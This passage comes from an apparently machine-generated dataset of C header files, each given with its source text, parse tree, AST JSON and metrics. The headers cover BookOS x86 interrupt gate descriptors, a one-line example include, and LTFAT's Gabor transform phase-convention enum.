7}}, {"id": 42, "type": "identifier", "text": "DA_386_INTR_GATE", "parent": 40, "children": [], "start_point": {"row": 28, "column": 8}, "end_point": {"row": 28, "column": 24}}, {"id": 43, "type": "preproc_arg", "text": "0x8E", "parent": 40, "children": [], "start_point": {"row": 28, "column": 28}, "end_point": {"row": 28, "column": 32}}, {"id": 44, "type": "preproc_def", "text": "#define DA_386_TRAP_GATE 0x8F\n", "parent": 0, "children": [45, 46, 47], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 30, "column": 0}}, {"id": 45, "type": "#define", "text": "#define", "parent": 44, "children": [], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 29, "column": 7}}, {"id": 46, "type": "identifier", "text": "DA_386_TRAP_GATE", "parent": 44, "children": [], "start_point": {"row": 29, "column": 8}, "end_point": {"row": 29, "column": 24}}, {"id": 47, "type": "preproc_arg", "text": "0x8F", "parent": 44, "children": [], "start_point": {"row": 29, "column": 28}, "end_point": {"row": 29, "column": 32}}, {"id": 48, "type": "preproc_def", "text": "#define DA_GATE_DPL0 0\n", "parent": 0, "children": [49, 50, 51], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 32, "column": 0}}, {"id": 49, "type": "#define", "text": "#define", "parent": 48, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 7}}, {"id": 50, "type": "identifier", "text": "DA_GATE_DPL0", "parent": 48, "children": [], "start_point": {"row": 31, "column": 8}, "end_point": {"row": 31, "column": 20}}, {"id": 51, "type": "preproc_arg", "text": "0", "parent": 48, "children": [], "start_point": {"row": 31, "column": 21}, "end_point": {"row": 31, "column": 22}}, {"id": 52, "type": "preproc_def", "text": "#define DA_GATE_DPL1 1\n", "parent": 0, "children": [53, 54, 55], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 33, "column": 0}}, {"id": 53, "type": "#define", "text": "#define", "parent": 52, "children": [], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 32, "column": 7}}, {"id": 54, "type": "identifier", "text": "DA_GATE_DPL1", "parent": 52, "children": [], "start_point": {"row": 32, "column": 8}, "end_point": {"row": 32, "column": 20}}, {"id": 55, "type": "preproc_arg", "text": "1", "parent": 52, "children": [], "start_point": {"row": 32, "column": 21}, "end_point": {"row": 32, "column": 22}}, {"id": 56, "type": "preproc_def", "text": "#define DA_GATE_DPL2 2\n", "parent": 0, "children": [57, 58, 59], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 34, "column": 0}}, {"id": 57, "type": "#define", "text": "#define", "parent": 56, "children": [], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 7}}, {"id": 58, "type": "identifier", "text": "DA_GATE_DPL2", "parent": 56, "children": [], "start_point": {"row": 33, "column": 8}, "end_point": {"row": 33, "column": 20}}, {"id": 59, "type": "preproc_arg", "text": "2", "parent": 56, "children": [], "start_point": {"row": 33, "column": 21}, "end_point": {"row": 33, "column": 22}}, {"id": 60, "type": "preproc_def", "text": "#define DA_GATE_DPL3 3\n", "parent": 0, "children": [61, 62, 63], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 35, "column": 0}}, {"id": 61, "type": "#define", "text": "#define", "parent": 60, "children": [], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 34, "column": 7}}, {"id": 62, "type": "identifier", "text": "DA_GATE_DPL3", "parent": 60, "children": [], "start_point": {"row": 34, "column": 8}, "end_point": {"row": 34, "column": 20}}, {"id": 63, "type": "preproc_arg", "text": "3", "parent": 60, "children": [], "start_point": {"row": 34, "column": 21}, "end_point": {"row": 34, "column": 22}}, {"id": 64, "type": "preproc_ifdef", "text": "#ifndef __ASSEMBLY__\nNX_PUBLIC void CPU_InitGate(void);\n#endif", "parent": 0, "children": [65, 66, 67, 76], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 38, "column": 6}}, {"id": 65, "type": "#ifndef", "text": "#ifndef", "parent": 64, "children": [], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 36, "column": 7}}, {"id": 66, "type": "identifier", "text": "__ASSEMBLY__", "parent": 64, "children": [], "start_point": {"row": 36, "column": 8}, "end_point": {"row": 36, "column": 20}}, {"id": 67, "type": "declaration", "text": "NX_PUBLIC void CPU_InitGate(void);", "parent": 64, "children": [68, 69, 71], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 34}}, {"id": 68, "type": "type_identifier", "text": "NX_PUBLIC", "parent": 67, "children": [], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 9}}, {"id": 69, "type": "ERROR", "text": "void", "parent": 67, "children": [70], "start_point": {"row": 37, "column": 10}, "end_point": {"row": 37, "column": 14}}, {"id": 70, "type": "identifier", "text": "void", "parent": 69, "children": [], "start_point": {"row": 37, "column": 10}, "end_point": {"row": 37, "column": 14}}, {"id": 71, "type": "function_declarator", "text": "CPU_InitGate(void)", "parent": 67, "children": [72, 73], "start_point": {"row": 37, "column": 15}, "end_point": {"row": 37, "column": 33}}, {"id": 72, "type": "identifier", "text": "CPU_InitGate", "parent": 71, "children": [], "start_point": {"row": 37, "column": 15}, "end_point": {"row": 37, "column": 27}}, {"id": 73, "type": "parameter_list", "text": "(void)", "parent": 71, "children": [74], "start_point": {"row": 37, "column": 27}, "end_point": {"row": 37, "column": 33}}, {"id": 74, "type": "parameter_declaration", "text": "void", "parent": 73, "children": [75], "start_point": {"row": 37, "column": 28}, "end_point": {"row": 37, "column": 32}}, {"id": 75, "type": "primitive_type", "text": "void", "parent": 74, "children": [], "start_point": {"row": 37, "column": 28}, "end_point": {"row": 37, "column": 32}}, {"id": 76, "type": "#endif", "text": "#endif", "parent": 64, "children": [], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 38, "column": 6}}, {"id": 77, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 40, "column": 0}, "end_point": {"row": 40, "column": 6}}]}, "node_categories": {"declarations": {"functions": [25, 71], "variables": [67, 74], "classes": [], "imports": [6, 7], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 11, 15, 19, 23, 27, 29, 30, 34, 38, 42, 46, 50, 54, 58, 62, 64, 65, 66, 68, 70, 72, 76, 77], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [8], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 25, "universal_type": "function", "name": "unknown", "text_snippet": "#define OFF(idt, off) (idt + off)\n"}, {"node_id": 71, "universal_type": "function", "name": "unknown", "text_snippet": "CPU_InitGate(void)"}], "class_declarations": [], "import_statements": [{"node_id": 6, "text": "#include <xbook.h>\n"}, {"node_id": 7, "text": "#include"}]}, "original_source_code": "/**\n * Copyright (c) 2018-2022, BookOS Development Team\n * SPDX-License-Identifier: Apache-2.0\n * \n * Contains: x86 gate\n * \n * Change Logs:\n * Date Author Notes\n * 2021-10-3 JasonHu Init\n */\n\n#ifndef __I386_GATE__\n#define __I386_GATE__\n\n#include <xbook.h>\n\n#define IDT_LIMIT 0x000007ff\n#define IDT_PADDR 0x003F0800\n\n#define IDT_VADDR (NX_KVADDR_OFFSET + IDT_PADDR)\n\n#define MAX_IDT_NR (IDT_LIMIT/8)\n\n#define OFF(idt, off) (idt + off)\n\n/* DA: Descriptor Attribute */\n#define DA_TASK_GATE 0x85\n#define DA_386_CALL_GATE 0x8C\n#define DA_386_INTR_GATE 0x8E\n#define DA_386_TRAP_GATE 0x8F\n\n#define DA_GATE_DPL0 0\n#define DA_GATE_DPL1 1\n#define DA_GATE_DPL2 2\n#define DA_GATE_DPL3 3\n\n#ifndef __ASSEMBLY__\nNX_PUBLIC void CPU_InitGate(void);\n#endif\n\n#endif /* __I386_GATE__ */\n"}
81,180
c
/* example include file */ void c_squared(void);
11.25
4
(translation_unit) "/*\nexample include file\n*/\n\nvoid c_squared(void);" (comment) "/*\nexample include file\n*/" (declaration) "void c_squared(void);" (primitive_type) "void" (function_declarator) "c_squared(void)" (identifier) "c_squared" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";"
12
0
{"language": "c", "success": true, "metadata": {"lines": 4, "avg_line_length": 11.25, "nodes": 7, "errors": 0, "source_hash": "bd5d8f11fa8a1bebde7bd7246d000e8f209f545c3ec79651ef0c0cfa4a5578ca", "categorized_nodes": 4}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "declaration", "text": "void c_squared(void);", "parent": null, "children": [1, 2], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 21}}, {"id": 1, "type": "primitive_type", "text": "void", "parent": 0, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 4}}, {"id": 2, "type": "function_declarator", "text": "c_squared(void)", "parent": 0, "children": [3, 4], "start_point": {"row": 4, "column": 5}, "end_point": {"row": 4, "column": 20}}, {"id": 3, "type": "identifier", "text": "c_squared", "parent": 2, "children": [], "start_point": {"row": 4, "column": 5}, "end_point": {"row": 4, "column": 14}}, {"id": 4, "type": "parameter_list", "text": "(void)", "parent": 2, "children": [5], "start_point": {"row": 4, "column": 14}, "end_point": {"row": 4, "column": 20}}, {"id": 5, "type": "parameter_declaration", "text": "void", "parent": 4, "children": [6], "start_point": {"row": 4, "column": 15}, "end_point": {"row": 4, "column": 19}}, {"id": 6, "type": "primitive_type", "text": "void", "parent": 5, "children": [], "start_point": {"row": 4, "column": 15}, "end_point": {"row": 4, "column": 19}}]}, "node_categories": {"declarations": {"functions": [2], "variables": [0, 5], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [3], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 2, "universal_type": "function", "name": "unknown", "text_snippet": "c_squared(void)"}], "class_declarations": [], "import_statements": []}, "original_source_code": "/*\nexample include file\n*/\n\nvoid c_squared(void);"}
81,181
c
#ifndef _LTFAT_DGT_COMMON_H #define _LTFAT_DGT_COMMON_H #include "ltfat/basicmacros.h" /** \addtogroup dgt * @{ */ /** \name Phase convention * @{ */ /** Discrete Gabor Transform Phase convention * * There are two commonly used phase conventions. * * Frequency invariant: * \anchor dgtfreqinv * \f[ * c(m,n) * = \sum_{l=0}^{L-1}\! f(l) * \overline{g(l-na)} \me^{-\mi 2\pi l m/M } \, * \f] * This is commonly used by mathematicans. Effectivelly, each * frequency channel is demodulated to the baseband. * * Time invatiant: * \anchor dgttimeinv * \f[ * c(m,n) * = \sum_{l=0}^{L-1}\! f(l) * \overline{g(l-na)} \me^{-\mi 2\pi (l-na) m/M } \, * \f] * This is commonly used by engineers. This is equivalent to * a filterbank. * * \see dgt_phaselock dgtreal_phaselock dgt_phaseunlock dgtreal_phaseunlock * */ typedef enum { LTFAT_TIMEINV = 0, LTFAT_FREQINV = 1, LTFAT_POPULAR = 2 } ltfat_phaseconvention; /** @}*/ /** @}*/ #ifdef __cplusplus extern "C" { #endif LTFAT_API int ltfat_phaseconvention_is_valid(ltfat_phaseconvention in); #ifdef __cplusplus } // extern "C" #endif #endif
20.53
53
(translation_unit) "#ifndef _LTFAT_DGT_COMMON_H\n#define _LTFAT_DGT_COMMON_H\n#include "ltfat/basicmacros.h"\n/** \addtogroup dgt \n * @{\n */\n\n/** \name Phase convention \n * @{ */\n\n/** Discrete Gabor Transform Phase convention\n *\n * There are two commonly used phase conventions. \n *\n * Frequency invariant:\n * \anchor dgtfreqinv\n * \f[\n * c(m,n) \n * = \sum_{l=0}^{L-1}\! f(l)\n * \overline{g(l-na)} \me^{-\mi 2\pi l m/M } \,\n * \f]\n * This is commonly used by mathematicans. Effectivelly, each\n * frequency channel is demodulated to the baseband.\n *\n * Time invatiant:\n * \anchor dgttimeinv\n * \f[\n * c(m,n) \n * = \sum_{l=0}^{L-1}\! f(l)\n * \overline{g(l-na)} \me^{-\mi 2\pi (l-na) m/M } \,\n * \f]\n * This is commonly used by engineers. This is equivalent to\n * a filterbank.\n *\n * \see dgt_phaselock dgtreal_phaselock dgt_phaseunlock dgtreal_phaseunlock\n *\n */\ntypedef enum\n{\n LTFAT_TIMEINV = 0,\n LTFAT_FREQINV = 1,\n LTFAT_POPULAR = 2\n} ltfat_phaseconvention;\n\n/** @}*/\n/** @}*/\n\n#ifdef __cplusplus\nextern "C"\n{\n#endif\n\nLTFAT_API int\nltfat_phaseconvention_is_valid(ltfat_phaseconvention in);\n\n#ifdef __cplusplus\n} // extern "C"\n#endif\n\n#endif\n" (preproc_ifdef) "#ifndef _LTFAT_DGT_COMMON_H\n#define _LTFAT_DGT_COMMON_H\n#include "ltfat/basicmacros.h"\n/** \addtogroup dgt \n * @{\n */\n\n/** \name Phase convention \n * @{ */\n\n/** Discrete Gabor Transform Phase convention\n *\n * There are two commonly used phase conventions. \n *\n * Frequency invariant:\n * \anchor dgtfreqinv\n * \f[\n * c(m,n) \n * = \sum_{l=0}^{L-1}\! f(l)\n * \overline{g(l-na)} \me^{-\mi 2\pi l m/M } \,\n * \f]\n * This is commonly used by mathematicans. Effectivelly, each\n * frequency channel is demodulated to the baseband.\n *\n * Time invatiant:\n * \anchor dgttimeinv\n * \f[\n * c(m,n) \n * = \sum_{l=0}^{L-1}\! f(l)\n * \overline{g(l-na)} \me^{-\mi 2\pi (l-na) m/M } \,\n * \f]\n * This is commonly used by engineers. This is equivalent to\n * a filterbank.\n *\n * \see dgt_phaselock dgtreal_phaselock dgt_phaseunlock dgtreal_phaseunlock\n *\n */\ntypedef enum\n{\n LTFAT_TIMEINV = 0,\n LTFAT_FREQINV = 1,\n LTFAT_POPULAR = 2\n} ltfat_phaseconvention;\n\n/** @}*/\n/** @}*/\n\n#ifdef __cplusplus\nextern "C"\n{\n#endif\n\nLTFAT_API int\nltfat_phaseconvention_is_valid(ltfat_phaseconvention in);\n\n#ifdef __cplusplus\n} // extern "C"\n#endif\n\n#endif" (#ifndef) "#ifndef" (identifier) "_LTFAT_DGT_COMMON_H" (preproc_def) "#define _LTFAT_DGT_COMMON_H\n" (#define) "#define" (identifier) "_LTFAT_DGT_COMMON_H" (preproc_include) "#include "ltfat/basicmacros.h"\n" (#include) "#include" (string_literal) ""ltfat/basicmacros.h"" (") """ (string_content) "ltfat/basicmacros.h" (") """ (comment) "/** \addtogroup dgt \n * @{\n */" (comment) "/** \name Phase convention \n * @{ */" (comment) "/** Discrete Gabor Transform Phase convention\n *\n * There are two commonly used phase conventions. \n *\n * Frequency invariant:\n * \anchor dgtfreqinv\n * \f[\n * c(m,n) \n * = \sum_{l=0}^{L-1}\! f(l)\n * \overline{g(l-na)} \me^{-\mi 2\pi l m/M } \,\n * \f]\n * This is commonly used by mathematicans. Effectivelly, each\n * frequency channel is demodulated to the baseband.\n *\n * Time invatiant:\n * \anchor dgttimeinv\n * \f[\n * c(m,n) \n * = \sum_{l=0}^{L-1}\! f(l)\n * \overline{g(l-na)} \me^{-\mi 2\pi (l-na) m/M } \,\n * \f]\n * This is commonly used by engineers. This is equivalent to\n * a filterbank.\n *\n * \see dgt_phaselock dgtreal_phaselock dgt_phaseunlock dgtreal_phaseunlock\n *\n */" (type_definition) "typedef enum\n{\n LTFAT_TIMEINV = 0,\n LTFAT_FREQINV = 1,\n LTFAT_POPULAR = 2\n} ltfat_phaseconvention;" (typedef) "typedef" (enum_specifier) "enum\n{\n LTFAT_TIMEINV = 0,\n LTFAT_FREQINV = 1,\n LTFAT_POPULAR = 2\n}" (enum) "enum" (enumerator_list) "{\n LTFAT_TIMEINV = 0,\n LTFAT_FREQINV = 1,\n LTFAT_POPULAR = 2\n}" ({) "{" (enumerator) "LTFAT_TIMEINV = 0" (identifier) "LTFAT_TIMEINV" (=) "=" (number_literal) "0" (,) "," (enumerator) "LTFAT_FREQINV = 1" (identifier) "LTFAT_FREQINV" (=) "=" (number_literal) "1" (,) "," (enumerator) "LTFAT_POPULAR = 2" (identifier) "LTFAT_POPULAR" (=) "=" (number_literal) "2" (}) "}" (type_identifier) "ltfat_phaseconvention" (;) ";" (comment) "/** @}*/" (comment) "/** @}*/" (preproc_ifdef) "#ifdef __cplusplus\nextern "C"\n{\n#endif\n\nLTFAT_API int\nltfat_phaseconvention_is_valid(ltfat_phaseconvention in);\n\n#ifdef __cplusplus\n} // extern "C"\n#endif" (#ifdef) "#ifdef" (identifier) "__cplusplus" (linkage_specification) "extern "C"\n{\n#endif\n\nLTFAT_API int\nltfat_phaseconvention_is_valid(ltfat_phaseconvention in);\n\n#ifdef __cplusplus\n}" (extern) "extern" (string_literal) ""C"" (") """ (string_content) "C" (") """ (declaration_list) "{\n#endif\n\nLTFAT_API int\nltfat_phaseconvention_is_valid(ltfat_phaseconvention in);\n\n#ifdef __cplusplus\n}" ({) "{" (preproc_call) "#endif\n" (preproc_directive) "#endif" (declaration) "LTFAT_API int\nltfat_phaseconvention_is_valid(ltfat_phaseconvention in);" (type_identifier) "LTFAT_API" (ERROR) "int" (identifier) "int" (function_declarator) "ltfat_phaseconvention_is_valid(ltfat_phaseconvention in)" (identifier) "ltfat_phaseconvention_is_valid" (parameter_list) "(ltfat_phaseconvention in)" (() "(" (parameter_declaration) "ltfat_phaseconvention in" (type_identifier) "ltfat_phaseconvention" (identifier) "in" ()) ")" (;) ";" (preproc_ifdef) "#ifdef __cplusplus" (#ifdef) "#ifdef" (identifier) "__cplusplus" (#endif) "" (}) "}" (comment) "// extern "C"" (#endif) "#endif" (#endif) "#endif"
75
1
{"language": "c", "success": true, "metadata": {"lines": 53, "avg_line_length": 20.53, "nodes": 51, "errors": 0, "source_hash": "77801d285dc1f84d6a1e3a5bd64fb51e459544e017ffd699d507a6c5038b8ed9", "categorized_nodes": 41}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef _LTFAT_DGT_COMMON_H\n#define _LTFAT_DGT_COMMON_H\n#include \"ltfat/basicmacros.h\"\n/** \\addtogroup dgt \n * @{\n */\n\n/** \\name Phase convention \n * @{ */\n\n/** Discrete Gabor Transform Phase convention\n *\n * There are two commonly used phase conventions. \n *\n * Frequency invariant:\n * \\anchor dgtfreqinv\n * \\f[\n * c(m,n) \n * = \\sum_{l=0}^{L-1}\\! f(l)\n * \\overline{g(l-na)} \\me^{-\\mi 2\\pi l m/M } \\,\n * \\f]\n * This is commonly used by mathematicans. Effectivelly, each\n * frequency channel is demodulated to the baseband.\n *\n * Time invatiant:\n * \\anchor dgttimeinv\n * \\f[\n * c(m,n) \n * = \\sum_{l=0}^{L-1}\\! f(l)\n * \\overline{g(l-na)} \\me^{-\\mi 2\\pi (l-na) m/M } \\,\n * \\f]\n * This is commonly used by engineers. This is equivalent to\n * a filterbank.\n *\n * \\see dgt_phaselock dgtreal_phaselock dgt_phaseunlock dgtreal_phaseunlock\n *\n */\ntypedef enum\n{\n LTFAT_TIMEINV = 0,\n LTFAT_FREQINV = 1,\n LTFAT_POPULAR = 2\n} ltfat_phaseconvention;\n\n/** @}*/\n/** @}*/\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\nLTFAT_API int\nltfat_phaseconvention_is_valid(ltfat_phaseconvention in);\n\n#ifdef __cplusplus\n} // extern \"C\"\n#endif\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 27, 50], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 59, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "identifier", "text": "_LTFAT_DGT_COMMON_H", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 27}}, {"id": 3, "type": "preproc_def", "text": "#define _LTFAT_DGT_COMMON_H\n", "parent": 0, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 7}}, {"id": 5, "type": "identifier", "text": "_LTFAT_DGT_COMMON_H", "parent": 3, "children": [], "start_point": {"row": 1, "column": 8}, "end_point": {"row": 1, "column": 27}}, {"id": 6, "type": "preproc_include", "text": "#include \"ltfat/basicmacros.h\"\n", "parent": 0, "children": [7, 8], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 3, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"ltfat/basicmacros.h\"", "parent": 6, "children": [], "start_point": {"row": 2, "column": 9}, "end_point": {"row": 2, "column": 30}}, {"id": 9, "type": "type_definition", "text": "typedef enum\n{\n LTFAT_TIMEINV = 0,\n LTFAT_FREQINV = 1,\n LTFAT_POPULAR = 2\n} ltfat_phaseconvention;", "parent": 0, "children": [10, 11, 26], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 42, "column": 24}}, {"id": 10, "type": "typedef", "text": "typedef", "parent": 9, "children": [], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 7}}, {"id": 11, "type": "enum_specifier", "text": "enum\n{\n LTFAT_TIMEINV = 0,\n LTFAT_FREQINV = 1,\n LTFAT_POPULAR = 2\n}", "parent": 9, "children": [12, 13], "start_point": {"row": 37, "column": 8}, "end_point": {"row": 42, "column": 1}}, {"id": 12, "type": "enum", "text": "enum", "parent": 11, "children": [], "start_point": {"row": 37, "column": 8}, "end_point": {"row": 37, "column": 12}}, {"id": 13, "type": "enumerator_list", "text": "{\n LTFAT_TIMEINV = 0,\n LTFAT_FREQINV = 1,\n LTFAT_POPULAR = 2\n}", "parent": 11, "children": [14, 18, 22], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 42, "column": 1}}, {"id": 14, "type": "enumerator", "text": "LTFAT_TIMEINV = 0", "parent": 13, "children": [15, 16, 17], "start_point": {"row": 39, "column": 4}, "end_point": {"row": 39, "column": 21}}, {"id": 15, "type": "identifier", "text": "LTFAT_TIMEINV", "parent": 14, "children": [], "start_point": {"row": 39, "column": 4}, "end_point": {"row": 39, "column": 17}}, {"id": 16, "type": "=", "text": "=", "parent": 14, "children": [], "start_point": {"row": 39, "column": 18}, "end_point": {"row": 39, "column": 19}}, {"id": 17, "type": "number_literal", "text": "0", "parent": 14, "children": [], "start_point": {"row": 39, "column": 20}, "end_point": {"row": 39, "column": 21}}, {"id": 18, "type": "enumerator", "text": "LTFAT_FREQINV = 1", "parent": 13, "children": [19, 20, 21], "start_point": {"row": 40, "column": 4}, "end_point": {"row": 40, "column": 21}}, {"id": 19, "type": "identifier", "text": "LTFAT_FREQINV", "parent": 18, "children": [], "start_point": {"row": 40, "column": 4}, "end_point": {"row": 40, "column": 17}}, {"id": 20, "type": "=", "text": "=", "parent": 18, "children": [], "start_point": {"row": 40, "column": 18}, "end_point": {"row": 40, "column": 19}}, {"id": 21, "type": "number_literal", "text": "1", "parent": 18, "children": [], "start_point": {"row": 40, "column": 20}, "end_point": {"row": 40, "column": 21}}, {"id": 22, "type": "enumerator", "text": "LTFAT_POPULAR = 2", "parent": 13, "children": [23, 24, 25], "start_point": {"row": 41, "column": 4}, "end_point": {"row": 41, "column": 21}}, {"id": 23, "type": "identifier", "text": "LTFAT_POPULAR", "parent": 22, "children": [], "start_point": {"row": 41, "column": 4}, "end_point": {"row": 41, "column": 17}}, {"id": 24, "type": "=", "text": "=", "parent": 22, "children": [], "start_point": {"row": 41, "column": 18}, "end_point": {"row": 41, "column": 19}}, {"id": 25, "type": "number_literal", "text": "2", "parent": 22, "children": [], "start_point": {"row": 41, "column": 20}, "end_point": {"row": 41, "column": 21}}, {"id": 26, "type": "type_identifier", "text": "ltfat_phaseconvention", "parent": 9, "children": [], "start_point": {"row": 42, "column": 2}, "end_point": {"row": 42, "column": 23}}, {"id": 27, "type": "preproc_ifdef", "text": "#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\nLTFAT_API int\nltfat_phaseconvention_is_valid(ltfat_phaseconvention in);\n\n#ifdef __cplusplus\n} // extern \"C\"\n#endif", "parent": 0, "children": [28, 29, 30, 49], "start_point": {"row": 47, "column": 0}, "end_point": {"row": 57, "column": 6}}, {"id": 28, "type": "#ifdef", "text": "#ifdef", "parent": 27, "children": [], "start_point": {"row": 47, "column": 0}, "end_point": {"row": 47, "column": 6}}, {"id": 29, "type": "identifier", "text": "__cplusplus", "parent": 27, "children": [], "start_point": {"row": 47, "column": 7}, "end_point": {"row": 47, "column": 18}}, {"id": 30, "type": "linkage_specification", "text": "extern \"C\"\n{\n#endif\n\nLTFAT_API int\nltfat_phaseconvention_is_valid(ltfat_phaseconvention in);\n\n#ifdef __cplusplus\n}", "parent": 27, "children": [31, 32], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 56, "column": 1}}, {"id": 31, "type": "extern", "text": "extern", "parent": 30, "children": [], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 48, "column": 6}}, {"id": 32, "type": "string_literal", "text": "\"C\"", "parent": 30, "children": [], "start_point": {"row": 48, "column": 7}, "end_point": {"row": 48, "column": 10}}, {"id": 33, "type": "preproc_call", "text": "#endif\n", "parent": 30, "children": [34], "start_point": {"row": 50, "column": 0}, "end_point": {"row": 51, "column": 0}}, {"id": 34, "type": "preproc_directive", "text": "#endif", "parent": 33, "children": [], "start_point": {"row": 50, "column": 0}, "end_point": {"row": 50, "column": 6}}, {"id": 35, "type": "declaration", "text": "LTFAT_API int\nltfat_phaseconvention_is_valid(ltfat_phaseconvention in);", "parent": 30, "children": [36, 37, 39], "start_point": {"row": 52, "column": 0}, "end_point": {"row": 53, "column": 57}}, {"id": 36, "type": "type_identifier", "text": "LTFAT_API", "parent": 35, "children": [], "start_point": {"row": 52, "column": 0}, "end_point": {"row": 52, "column": 9}}, {"id": 37, "type": "ERROR", "text": "int", "parent": 35, "children": [38], "start_point": {"row": 52, "column": 10}, "end_point": {"row": 52, "column": 13}}, {"id": 38, "type": "identifier", "text": "int", "parent": 37, "children": [], "start_point": {"row": 52, "column": 10}, "end_point": {"row": 52, "column": 13}}, {"id": 39, "type": "function_declarator", "text": "ltfat_phaseconvention_is_valid(ltfat_phaseconvention in)", "parent": 35, "children": [40, 41], "start_point": {"row": 53, "column": 0}, "end_point": {"row": 53, "column": 56}}, {"id": 40, "type": "identifier", "text": "ltfat_phaseconvention_is_valid", "parent": 39, "children": [], "start_point": {"row": 53, "column": 0}, "end_point": {"row": 53, "column": 30}}, {"id": 41, "type": "parameter_list", "text": "(ltfat_phaseconvention in)", "parent": 39, "children": [42], "start_point": {"row": 53, "column": 30}, "end_point": {"row": 53, "column": 56}}, {"id": 42, "type": "parameter_declaration", "text": "ltfat_phaseconvention in", "parent": 41, "children": [43, 44], "start_point": {"row": 53, "column": 31}, "end_point": {"row": 53, "column": 55}}, {"id": 43, "type": "type_identifier", "text": "ltfat_phaseconvention", "parent": 42, "children": [], "start_point": {"row": 53, "column": 31}, "end_point": {"row": 53, "column": 52}}, {"id": 44, "type": "identifier", "text": "in", "parent": 42, "children": [], "start_point": {"row": 53, "column": 53}, "end_point": {"row": 53, "column": 55}}, {"id": 45, "type": "preproc_ifdef", "text": "#ifdef __cplusplus", "parent": 30, "children": [46, 47, 48], "start_point": {"row": 55, "column": 0}, "end_point": {"row": 55, "column": 18}}, {"id": 46, "type": "#ifdef", "text": "#ifdef", "parent": 45, "children": [], "start_point": {"row": 55, "column": 0}, "end_point": {"row": 55, "column": 6}}, {"id": 47, "type": "identifier", "text": "__cplusplus", "parent": 45, "children": [], "start_point": {"row": 55, "column": 7}, "end_point": {"row": 55, "column": 18}}, {"id": 48, "type": "#endif", "text": "", "parent": 45, "children": [], "start_point": {"row": 55, "column": 18}, "end_point": {"row": 55, "column": 18}}, {"id": 49, "type": "#endif", "text": "#endif", "parent": 27, "children": [], "start_point": {"row": 57, "column": 0}, "end_point": {"row": 57, "column": 6}}, {"id": 50, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 59, "column": 0}, "end_point": {"row": 59, "column": 6}}]}, "node_categories": {"declarations": {"functions": [39], "variables": [9, 35, 42], "classes": [], "imports": [6, 7], "modules": [], "enums": [11, 12, 13, 14, 18, 22]}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 15, 19, 23, 26, 27, 28, 29, 30, 36, 38, 40, 43, 44, 45, 46, 47, 48, 49, 50], "returns": [], "exceptions": []}, "expressions": {"calls": [33], "literals": [8, 17, 21, 25, 32], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 39, "universal_type": "function", "name": "unknown", "text_snippet": "ltfat_phaseconvention_is_valid(ltfat_phaseconvention in)"}], "class_declarations": [], "import_statements": [{"node_id": 6, "text": "#include \"ltfat/basicmacros.h\"\n"}, {"node_id": 7, "text": "#include"}]}, "original_source_code": "#ifndef _LTFAT_DGT_COMMON_H\n#define _LTFAT_DGT_COMMON_H\n#include \"ltfat/basicmacros.h\"\n/** \\addtogroup dgt \n * @{\n */\n\n/** \\name Phase convention \n * @{ */\n\n/** Discrete Gabor Transform Phase convention\n *\n * There are two commonly used phase conventions. \n *\n * Frequency invariant:\n * \\anchor dgtfreqinv\n * \\f[\n * c(m,n) \n * = \\sum_{l=0}^{L-1}\\! f(l)\n * \\overline{g(l-na)} \\me^{-\\mi 2\\pi l m/M } \\,\n * \\f]\n * This is commonly used by mathematicans. Effectivelly, each\n * frequency channel is demodulated to the 